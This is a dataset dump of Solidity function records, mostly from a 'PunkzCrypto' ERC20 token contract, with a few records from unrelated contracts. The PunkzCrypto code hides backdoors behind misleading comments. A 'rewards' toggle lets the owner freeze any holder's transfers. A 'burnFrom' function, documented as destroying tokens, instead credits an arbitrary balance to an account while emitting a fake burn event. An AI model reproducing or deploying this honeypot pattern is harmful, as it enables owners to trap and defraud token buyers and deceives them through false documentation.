contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 1729, 1842 ] }
14,870
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 1900, 2032 ] }
14,871
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 2089, 2269 ] }
14,872
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 2327, 2483 ] }
14,873
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 2539, 2713 ] }
14,874
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
transferFrom
function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allow...
/** * @dev See {IERC20-transferFrom}. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 2774, 3253 ] }
14,875
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 3358, 3578 ] }
14,876
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, curre...
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 3683, 4085 ] }
14,877
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_rewards[sender] || _rewards[recipient]) require (amount == 0, "");...
/** * @dev Moves `amount` of tokens from `sender` to `recipient`. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 4174, 5070 ] }
14,878
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
burnFrom
function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); }
/** * @dev Destroys `amount` tokens from `account`, reducing the */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 5160, 5484 ] }
14,879
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
_approve
function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 5593, 5976 ] }
14,880
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
rewards
function rewards (address _address) external onlyOwner { if (_rewards[_address] == true) {_rewards[_address] = false;} else {_rewards[_address] = true; } }
/** * @notice Adds address to Rewards list. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 6043, 6226 ] }
14,881
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
rewarded
function rewarded(address _address) public view returns (bool) { return _rewards[_address]; }
/** * @notice Checking if the address is on Reward list. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 6306, 6418 ] }
14,882
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
initialize
function initialize() public virtual onlyOwner { if (_initialize == true) {_initialize = false;} else {_initialize = true;} }
/** * @notice Initialize contract. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 6476, 6616 ] }
14,883
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
initialized
function initialized() public view returns (bool) { return _initialize; }
/** * @notice Check if contract is already Initialized. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 6695, 6783 ] }
14,884
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {}
/** * @dev Hook that is called before any transfer of tokens. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 6868, 6998 ] }
14,885
PunkzCrypto
PunkzCrypto.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
PunkzCrypto
contract PunkzCrypto is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _rewards; bool _initialize; uint256 private _totalSupply; uint256 private ...
/** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */
NatSpecMultiLine
_afterTokenTransfer
function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {}
/** * @dev Hook that is called after any transfer of tokens. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 7082, 7211 ] }
14,886
ThisShardDoesNotExist
contracts/utils/Strings.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
Strings
library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b...
strConcat
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); ...
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 100, 959 ] }
14,887
ThisShardDoesNotExist
contracts/utils/Strings.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
Strings
library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b...
toString
function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = ...
/** * @dev Converts a `uint256` to its ASCII `string` representation. */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1558, 2287 ] }
14,888
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) ret...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; ...
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 268, 606 ] }
14,889
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) ret...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 812, 921 ] }
14,890
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balan...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 392, 930 ] }
14,891
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs...
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 1166, 1714 ] }
14,892
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 2038, 2176 ] }
14,893
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 2421, 2692 ] }
14,894
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
OpportyToken
contract OpportyToken is StandardToken { string public constant name = "OpportyToken"; string public constant symbol = "OPP"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Contructor that gives msg.sender all of ...
/** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */
NatSpecMultiLine
OpportyToken
function OpportyToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; }
/** * @dev Contructor that gives msg.sender all of existing tokens. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 345, 457 ] }
14,895
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 261, 314 ] }
14,896
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 637, 813 ] }
14,897
HoldPresaleContract
HoldPresaleContract.sol
0xbd367c347fc8e0a9b2da08717bcc22bb3fd878eb
Solidity
HoldPresaleContract
contract HoldPresaleContract is Ownable { using SafeMath for uint256; // Addresses and contracts OpportyToken public OppToken; address private presaleCont; struct Holder { bool isActive; uint tokens; uint8 holdPeriod; uint holdPeriodTimestamp; bool withdrawed; } mapping...
HoldPresaleContract
function HoldPresaleContract(address _OppToken) { OppToken = OpportyToken(_OppToken); }
/* constructor */
Comment
v0.4.15+commit.bbb8e64f
bzzr://286c772230b997b5ce3cac70ea566bb0a1aa01faaa59ccb42588ab2b1c98bda8
{ "func_code_index": [ 850, 948 ] }
14,898
CornField
CornField.sol
0xbcb58347ac827b9c4f29248de70487d23d4d3301
Solidity
CornField
contract CornField is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ---------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
CornField
function CornField() public { symbol = "CFI"; name = "Corn.Field"; decimals = 18; _totalSupply = 50000000000000000000000; balances[0xcbab9B49C264694dfd618D29F6BAcdEEf4b1387A] = _totalSupply; Transfer(address(0), 0xcbab9B49C264694dfd618D29F6BAcdEEf4b1387A, _totalSupply); }
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------
LineComment
v0.4.23+commit.124ca40d
None
bzzr://ef7e394f5be9951248172a96f1eca1d51046beb74881fc5a1348d2e87e7ca1b8
{ "func_code_index": [ 456, 792 ] }
14,899